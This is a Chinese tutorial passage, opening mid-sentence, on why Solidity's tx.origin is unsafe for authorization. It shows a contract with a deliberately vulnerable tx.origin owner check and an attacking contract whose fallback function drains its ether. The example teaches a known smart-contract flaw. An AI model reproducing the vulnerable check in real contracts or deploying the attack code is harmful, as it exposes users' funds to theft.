V 神说了, Do NOT assume that tx.origin will continue to be usable or meaningful.
由可以引发严重的安全问题,特别是用 tx.origin 做权限校验时,非常容易被绕过。看下面的经典代码示例:当 MyContract 实例的 owner 尝试往作为 receiver 的 AttachingContract 发送代币时,由于 AttachingContract 没有 transfer 方法,fallback 方法会被调用,AttachingContract 反过来又调用 MyContract 实例的 sendTo 方法,这个时候 tx.origin 还是当前的 owner,“require(tx.origin == owner);” 就成了摆设,可以很轻松的把 MyContract 里的以太币全部转走。
contract MyContract { address owner; function MyContract() public { owner = msg.sender; } function sendTo(address receiver, uint amount) public { require(tx.origin == owner); receiver.transfer(amount); } } contract AttackingContract { MyContract myContract; address attacker; function AttackingContract(address myContractAddress) public { myContract = MyContract(myContractAddress); attacker = msg.sender; } function() public { myContract.sendTo(attacker, msg.sender.balance); } }
